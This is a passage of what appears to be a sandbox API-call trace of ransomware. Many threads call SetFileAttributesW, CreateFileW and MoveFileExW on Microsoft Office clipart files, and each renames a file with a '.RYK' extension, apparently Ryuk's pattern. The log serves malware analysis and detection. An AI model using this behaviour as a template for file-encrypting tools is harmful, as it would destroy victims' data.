	[0196.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0196.831] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0196.831] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1499
	os_tid = 0x1d30

	[0196.824] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF", dwFileAttributes=0x80) returned 0
	[0196.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0196.832] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0196.832] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1500
	os_tid = 0x1d34

	[0197.124] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF", dwFileAttributes=0x80) returned 0
	[0197.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0197.125] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0197.125] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1505
	os_tid = 0x1d50

	[0197.127] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF", dwFileAttributes=0x80) returned 0
	[0197.127] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0197.127] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0197.127] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1506
	os_tid = 0x1d54

	[0197.129] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF", dwFileAttributes=0x80) returned 0
	[0197.129] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0197.129] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0197.130] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1507
	os_tid = 0x1d58

	[0197.131] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF", dwFileAttributes=0x80) returned 0
	[0197.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0197.132] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0197.132] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1508
	os_tid = 0x1d5c

	[0197.134] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF", dwFileAttributes=0x80) returned 0
	[0197.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0197.134] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0197.134] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1509
	os_tid = 0x1d60

	[0197.136] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID", dwFileAttributes=0x80) returned 0
	[0197.136] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\carbn_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0197.136] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0197.136] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\carbn_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\carbn_01.mid.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1510
	os_tid = 0x1d64

	[0197.148] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF", dwFileAttributes=0x80) returned 0
	[0197.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0197.336] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0197.336] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1511
	os_tid = 0x1d68

	[0197.149] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF", dwFileAttributes=0x80) returned 0
	[0197.337] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0197.337] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0197.337] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1512
	os_tid = 0x1d6c

	[0197.151] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF", dwFileAttributes=0x80) returned 0
	[0197.338] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0197.338] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0197.338] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1513
	os_tid = 0x1d70

	[0197.153] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF", dwFileAttributes=0x80) returned 0
	[0197.340] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0197.340] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0197.340] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1514
	os_tid = 0x1d74

	[0197.154] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID", dwFileAttributes=0x80) returned 0
	[0197.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0197.156] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0197.156] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1515
	os_tid = 0x1d78

	[0197.158] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF", dwFileAttributes=0x80) returned 0
	[0197.341] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0197.341] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0197.342] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1516
	os_tid = 0x1d7c

	[0197.345] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF", dwFileAttributes=0x80) returned 0
	[0197.359] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0197.359] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0197.360] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1519
	os_tid = 0x1d9c

	[0197.348] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF", dwFileAttributes=0x80) returned 0
	[0197.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0197.366] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0197.367] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1520
	os_tid = 0x1da0

	[0197.350] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF", dwFileAttributes=0x80) returned 0
	[0197.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0197.383] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0197.383] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1521
	os_tid = 0x1da4

	[0197.353] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF", dwFileAttributes=0x80) returned 0
	[0197.385] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0197.385] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0197.385] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1522
	os_tid = 0x1da8

	[0197.354] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF", dwFileAttributes=0x80) returned 0
	[0197.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0197.387] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0197.388] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1523
	os_tid = 0x1dac

	[0197.357] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF", dwFileAttributes=0x80) returned 0
	[0197.389] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0197.389] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0197.389] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1524
	os_tid = 0x1db0

	[0197.361] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF", dwFileAttributes=0x80) returned 0
	[0197.391] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00255_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0197.391] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0197.391] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00255_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00255_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1525
	os_tid = 0x1db4

	[0197.363] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF", dwFileAttributes=0x80) returned 0
	[0197.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00256_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0197.365] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0197.365] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00256_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00256_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1526
	os_tid = 0x1db8

	[0197.368] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF", dwFileAttributes=0x80) returned 0
	[0197.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00261_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0197.370] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0197.370] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00261_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00261_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1527
	os_tid = 0x1dbc

	[0197.377] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF", dwFileAttributes=0x80) returned 0
	[0197.377] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00297_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0197.377] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0197.378] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00297_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00297_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1528
	os_tid = 0x1dc0

	[0197.379] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF", dwFileAttributes=0x80) returned 0
	[0197.381] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00372_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0197.381] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0197.381] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00372_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00372_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1529
	os_tid = 0x1dc4

	[0197.823] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF", dwFileAttributes=0x80) returned 0
	[0197.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00405_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0197.824] CloseHandle (hObject=0xffffffffffffffff) returned 0
